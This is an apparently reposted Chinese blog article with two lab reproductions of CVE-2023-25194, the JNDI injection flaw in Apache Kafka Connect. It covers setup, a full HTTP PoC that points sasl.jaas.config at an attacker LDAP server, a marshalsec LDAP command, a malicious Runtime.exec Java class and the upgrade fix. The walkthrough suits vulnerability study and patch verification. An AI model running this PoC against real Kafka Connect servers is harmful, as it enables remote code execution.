Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
Posted 合天网安实验室
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析相关的知识,希望对你有一定的参考价值。
关于
Apache Kafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。
影响版本
2.4.0<=Apache kafka<=3.2.2
环境搭建
满足影响版本的应该都可以,这里我是使用的版本为2.5.0
wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz
直接解压
这里可以使用命令直接起起来,最新版的kafka是集成Zookeeper
.\\bin\\windows\\zookeeper-server-start.bat .\\config\\zookeeper.properties
但是报错了,可以自己安装zookeeper
下载地址
http://zookeeper.apache.org/releases.html
这里配置文件其实可以补钙,实际上日志记录功能可选择不要,直接启动
服务端正常启动。
只要不报错即为正常启动
继续修改kafka配置文件server.properties
文件,修改日志存放路径
命令启动
.\\bin\\windows\\kafka-server-start.bat .\\config\\server.properties
测试kafa搭建是否存在问题
• 创建主题
.\\bin\\windows\\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111
• 查询主题
.\\bin\\windows\\kafka-topics.bat --list --bootstrap-server localhost:9092
• 创建生产者
.\\bin\\windows\\kafka-console-producer.bat --broker-list localhost:9092 --topic test111
• 创建消费者
.\\bin\\windows\\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning
消息收发没有问题,生产者输入信息之后消费者会自动消费。
启动connect
.\\bin\\windows\\connect-standalone.bat .\\config\\connect-standalone.properties .\\config\\connect-file-source.properties .\\config\\connect-file-sink.properties
因为牵涉到补图片,图片内的时间顺序可能不对,请忽略
访问
http://192.168.2.135:8083/connector-plugins
这里是没有插件的,所以需要安装插件。这里要复现CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector类,所以需要配置Debezium mysql 连接器配置属性
安装Debezium
https://debezium.io/releases/2.1/
这里根据自己环境安装,比较友好的时不同的版本有介绍需要的java版本,因为我的java环境为1.8+的,所以这里我选择的版本比较老
在kafka的安装目录创建一个文件夹
存放debezium,修改kafka的配置文件
插件注意指向debezium的存放路径,重新启动,获取到插件,这里需要必坑的位置
1.java版本需要匹配kafka版本以及其他组件版本
2.配置文件需要修改,否则会报错。
kafka在连接Mysql时 数据需要同步到 Elasticsearch
具体的文章可以参考
https://my.oschina.net/u/4923278/blog/5007756
安装mysql
MySQL :: Download MySQL Installer
需要避坑的位置
结束
登录mysql数据库,设置允许外部连接
GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
• set time_zone='+8:00';
• show variables like '%time_zone%';
mysql需要开启配置
log_bin = mysql-bin
binlog_format = ROW
binlog_row_image = FULL
expire_logs_days = 10
可参考
https://blog.csdn.net/wang972779876/article/details/120002546
访问路径
http://192.168.2.135:8083/connector-plugins
发现插件正常启动,参考的有复现的文章,说的时需要做时钟同步,但是在测试的时候发现其实时钟未做设置的时候也没有问题。
漏洞利用
POC如下:
POST /connectors HTTP/1.1
Host: 192.168.2.135:8083
Content-Type: application/json
Content-Length: 809
"name": "mysql-connect",
"config":
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "192.168.2.135",
"database.port": "3306",
"database.user": "root",
"database.password": "root",
"database.server.id": "316545017",
"database.server.name": "test1",
"database.history.kafka.bootstrap.servers": "192.168.2.135:9092",
"database.history.kafka.topic": "quickstart-events", "database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\"ldap://192.168.2.149:1389/rce\\" useFirstPass=\\"true\\" serviceName=\\"x\\" debug=\\"true\\" group.provider.url=\\"xxx\\";"
具体的参数的配置属性可以参考这篇文章
https://blog.csdn.net/weixin_43564627/article/details/118959829
在利用的时候需要注意在使用name
时,为连接器的名称
,重复注册则会返回报错。
使用 marshalsec-0.0.3-SNAPSHOT-all.jar
起ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389
发送POC
可以看到请求了恶意类
恶意类内容calc.java
import java.lang.Runtime;
public class Calc
public Calc() throws Exception
Runtime.getRuntime().exec("C:\\Windwos\\System32\\cmd.exe ipconfg>C:\\Users\\Administrator\\Desktop\\2.txt");
编译java
javac calc.java
在8888端口起http服务
python -m http.server 8888
执行payload
漏洞原理
Apache Kafka Connect 是 Kafka 中用于和其他数据系统传输数据的服务,其独立运行版本可以在 Kafka 发布包中通过 bin/connect-standalone.sh
启动,默认会在 8083 端口开启 HTTP REST API 服务,可对连接器(Connector)的配置进行操作。
将连接器中的 Kafka 客户端 sasl.jaas.config
属性值设置为 com.sun.security.auth.module.JndiLoginModule(通过 producer.override.sasl.jaas.config
, consumer.override.sasl.jaas.config
或 admin.override.sasl.jaas.config
属性进行配置)时,如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。
小结
如有错误还请师傅们指出,参考文章有限,欢迎分享。
参考链接
https://blog.csdn.net/u011602668/article/details/122223885
https://my.oschina.net/u/4923278/blog/5007756
https://www.cnblogs.com/azhuya/p/15124799.html
https://blog.csdn.net/weixin_43564627/article/details/118959829
https://blog.csdn.net/weixin_39830303/article/details/113299955
https://github.com/ohnonoyesyes/CVE-2023-25194
https://blog.csdn.net/wang972779876/article/details/120002546
https://www.oschina.net/news/228187
原创稿件征集
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
靶场实操,戳“阅读原文“
Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)
1、产品简介
Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。
2、漏洞概述
在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。
3、影响范围
影响版本
2.3.0 <= Apache Kafka <= 3.3.2
不受影响版本
Apache Kafka >= 3.4.0
4、复现环境
Windows10搭建Kafka2.4.0集成环境(自行搭建jdk和mysql环境)
我这边使用的是jdk-11.0.18_windows-x64_bin.exe(JDK8也可以,建议使用JDK11)
mysql 5.7.27
Kafka2.4.0集成环境下载地址:https://download.csdn.net/download/qq_41904294/87588240
5、漏洞复现
启动环境
bin\\windows\\zookeeper-server-start.bat config\\zookeeper.properties
bin\\windows\\kafka-server-start.bat config\\server.properties
bin\\windows\\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties
如果报错:“输入行太长。命令语法不正确”。出现这个问题的原因是 Windows 命令长度最长支持 8192 个字符,Kafka 的启动脚本中有命令拼接 classpath 变量,classpath 的内容是每个 jar 包的绝对路径拼接的字符串。当 Kafka 的位置比较深,也就是目录比较长的时候,classpath 的长度就会超长。
解决方法:缩短目录树结构,把Kafka安装目录直接放到根目录下即可。
访问漏洞环境查看是否启动
burp抓包查看是否存在相关依赖
http://x.x.x.x:8083/connector-plugins
当前网上流传的POC
POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821
"name": "xxx",
"config":
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "127.0.0.1",
"database.port": "3306",
"database.user": "root",
"database.password": "xxxx",
"database.server.id": "xxxx",
"database.server.name": "xxxx",
"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
"database.history.kafka.topic": "xxxx", "database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\"ldap://xxxx\\" useFirstPass=\\"true\\" serviceName=\\"x\\" debug=\\"true\\" group.provider.url=\\"xxx\\";"
POC原理 :通过创建mysql连接器时,设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入
利用Dnslog回显验证漏洞是否存在
报错了,查看漏洞环境报错信息,提示服务器时区错误无法识别 ,在网上找了找方法,找到一些设置修改数据库时区,set time_zone='+8:00'; 这种方法,但是尝试后并无果,后来看了一遍文章,在创建连接器时指定数据库时区的方式
添加配置"database.serverTimezone“解决(不明白这里为什么要指定美国时区,知道的大哥指点一下)
"config":
...
"database.serverTimezone": "America/Los_Angeles",
...
重新验证
回显成功,漏洞存在
6、修复建议
目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。
暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。
以上是关于Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析的主要内容,如果未能解决你的问题,请参考以下文章
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
漏洞真实影响分析Apache Kafka Connect 模块JNDI注入(CVE-2023-25194)
Apache Kafka Connect JNDI注入漏洞 (CVE-2023-25194) 安全风险通告
Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)